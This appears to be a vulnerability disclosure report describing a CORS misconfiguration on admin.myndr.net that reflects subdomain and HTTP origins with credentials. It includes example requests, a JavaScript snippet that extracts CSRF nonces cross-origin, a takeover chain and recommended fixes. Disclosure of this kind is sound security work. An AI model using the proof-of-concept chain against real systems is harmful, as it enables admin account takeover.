CORS Misconfiguration / Broken Access Control

How it was found

Target: admin.myndr.net and *.myndr.net Date: August 10, 2026 Severity: High (CVSS 7.5) Type: CORS Misconfiguration / Broken Access Control

Summary admin.myndr.net reflects any *.myndr.net subdomain origin with Access-Control-Allow-Credentials: true, allowing any website hosted on a Myndr subdomain to read authenticated admin panel responses including CSRF nonces, session data, and admin functionality. Combined with CSRF, this enables full admin account takeover.

Vulnerability Details Vulnerability Type: CORS Misconfiguration / Broken Access Control CVSS 3.1 Score: 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Affected Endpoints:

https://admin.myndr.net/

https://admin.myndr.net/auth/login-admin

https://admin.myndr.net/auth/login-admin-new-password

https://admin.myndr.net/cp/postcode

https://dashboard.myndr.net/

Steps to Reproduce Environment:

Target: https://admin.myndr.net

No authentication required to demonstrate the CORS misconfiguration

Step 1 — Verify CORS reflects arbitrary *.myndr.net origins with credentials http GET / HTTP/1.1 Host: admin.myndr.net Origin: https://evil.myndr.net Response headers:

text HTTP/2 302 access-control-allow-origin: https://evil.myndr.net access-control-allow-methods: GET, POST, OPTIONS, DELETE, PUT access-control-allow-credentials: true access-control-allow-headers: User-Agent,Keep-Alive,Content-Type vary: Origin location: /auth/login-admin The server reflects the attacker-controlled *.myndr.net origin and allows credentials, meaning cross-origin JavaScript on any Myndr subdomain can read authenticated responses.

Step 2 — Verify authenticated content is readable via CORS Any website on a *.myndr.net subdomain can read the admin login form and extract CSRF nonces:

javascript fetch("https://admin.myndr.net/auth/login-admin", {credentials: "include"}) .then(r => r.text()) .then(html => { const nonce = html.match(/name="nonce" value="([^"]+)"/)[1]; // Attacker now has the CSRF nonce }); Response contains the CSRF nonce in plaintext:

html <input type="hidden" name="nonce" value="165bb634dd8eb41dd1006ace3a6cf554" /> Step 3 — Verify HTTP downgrade also works http GET / HTTP/1.1 Host: admin.myndr.net Origin: http://admin.myndr.net Response:

text access-control-allow-origin: http://admin.myndr.net access-control-allow-credentials: true The HTTP origin is also reflected with credentials, allowing session cookie interception over plaintext connections.

Step 4 — PoC exploit chain An attacker can exploit this by:

Hosting a malicious page on any *.myndr.net subdomain (via XSS, subdomain takeover, or compromised deployment).

The page makes cross-origin requests to admin.myndr.net with the victim's cookies.

Reads CSRF nonces from the login form.

Performs CSRF to change the admin password or create a new admin account.

Full admin account takeover achieved.

Recommended Fix Remove wildcard CORS reflection for *.myndr.net origins.

Only allow specific trusted origins (e.g., https://admin.myndr.net, https://dashboard.myndr.net).

Never reflect arbitrary subdomain origins with Access-Control-Allow-Credentials: true.

Remove HTTP origin reflection entirely — only allow HTTPS origins.

Consider implementing CSRF tokens that are tied to the session and cannot be read cross-origin.

Impact

DescribImpact Any website hosted on a *.myndr.net subdomain can read authenticated admin panel responses. This includes:

CSRF nonces from login and password change forms.

Admin panel functionality and data.

Session tokens if stored in responses.

Combined with CSRF, this enables full admin account takeover. The attack requires only that the attacker can host content on any Myndr subdomain (e.g., via XSS on test.myndr.net, meta.myndr.net, or other subdomains). There are 20+ active subdomains that could serve as attack vectors.

The HTTP downgrade also allows session cookie interception over plaintext connections. e impact here.